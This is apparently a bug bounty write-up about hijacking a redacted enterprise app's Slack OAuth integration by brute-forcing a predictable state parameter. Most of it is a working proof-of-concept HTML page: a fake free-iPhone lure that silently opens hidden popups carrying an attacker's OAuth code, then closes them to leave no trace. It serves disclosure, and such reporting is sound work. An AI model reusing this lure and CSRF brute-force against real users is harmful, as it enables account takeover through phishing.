Hijacking Notifications via Slack OAuth Due to Predictable State Parameter.

one33se7en
3 min readFeb 25, 2025

--

Summary

In [Redacted] Enterprise application, There is a feature which let you connect your Slack accounts via Oauth to receive notifications about the activity. While testing this feature, I discovered that an attacker can hijack a victim’s Slack integration by exploiting a predictable state parameter during the OAuth authentication process.

By generating state parameter values and tricking a victim into clicking a malicious link with attacker’s token , an attacker can successfully link their Slack account to the victim’s [Redacted] Enterprise account, gaining unauthorized access to notifications and potentially sensitive project information.

Exploitation

Step 1: Understanding the OAuth Vulnerability

The Slack integration follows this OAuth flow:

https://enterprise.redacted.com/u/slack/auth?code=ATTACKER_TOKEN&state=VICTIM_STATE_PARAMETER
  • The state parameter is meant to prevent CSRF attacks.
  • However, in [Redacted] Enterprise, state tokens follow predictable patterns within an organization.

Step 2: Predictability in State Tokens

Through testing, I observed that:

  • State tokens differ by only two characters within an organization.
  • At index [20], the value is either “l” or “j”.
  • At index [22], the value ranges from blank (“”) to 0–9.
  • This makes brute-forcing the state parameter feasible.

Step 3: Explotation

  1. The victim is tricked into clicking a malicious link (e.g., through phishing).
  2. The script generates multiple state parameter combinations and attempts OAuth authorization requests.
  3. The script opens multiple Slack OAuth links with the attacker’s token and generated state parameters in the victim’s browser at once using window.open().
  4. Since the victim is already logged into [Redacted], the requests execute within their session.
  5. [Redacted].com links the attacker’s Slack integration to the victim’s account, believing it to be a legitimate request.
  6. The script closes all popups after 15 seconds, leaving no trace.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Claim Your Free iPhone!</title>
<style>
body {
font-family: Arial, sans-serif;
text-align: center;
background: linear-gradient(to right, #ff416c, #ff4b2b);
color: white;
padding: 50px;
}
h1 {
font-size: 36px;
margin-bottom: 20px;
}
p {
font-size: 20px;
margin-bottom: 20px;
}
.highlight {
font-weight: bold;
color: yellow;
}
.claim-btn {
background-color: yellow;
color: black;
font-size: 22px;
padding: 15px 30px;
border: none;
cursor: pointer;
border-radius: 5px;
transition: background 0.3s ease;
}
.claim-btn:hover {
background-color: orange;
}
</style>
<script>
function executeRequests() {
let baseState = "43630383o4p483f3q417"; //all of these can be depends on the organization
let j_l_options = ["j", "l"];
let index22_options = ["", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9"];
let index23_options = ["0", "3"];

let urls = [];

for (let j_l of j_l_options) {
for (let idx22 of index22_options) {
for (let idx23 of index23_options) {
let state_token = `${baseState}${j_l}4${idx22}${idx23}`.replace(/\s/g, "");
let attackURL = `https://enterprise.redacted.com/u/slack/auth?code=ATTACKER TOKEN&state=${state_token}`;
urls.push(attackURL);
}
}
}

let windows = [];

// Open all windows simultaneously
for (let url of urls) {
let win = window.open(url, "_blank", "width=10,height=10,left=-9999,top=-9999");
if (win) {
windows.push(win);
}
}

// Wait for 15 seconds before closing all windows
setTimeout(() => {
for (let win of windows) {
if (win) win.close();
}
}, 15000);
}

// Wait 2 seconds before executing requests to ensure proper loading
setTimeout(executeRequests, 2000);
</script>
</head>
<body>
<h1>🎉 Claim Your Free iPhone 15 Pro! 🎉</h1>
<p>Congratulations! You've been randomly selected to receive a <span class="highlight">brand new iPhone 15 Pro</span>.</p>
<p>Click the button below to verify your eligibility and claim your reward.</p>
<button class="claim-btn" onclick="alert('Just a moment... verifying your entry!');">Claim Now</button>
<p><strong>Don't worry about any popups!</strong> Make sure to <span class="highlight">allow popups</span> to complete your verification process.</p>
</body>
</html>

Team’s Reply :

They accepted it as medium.

--

--

No responses yet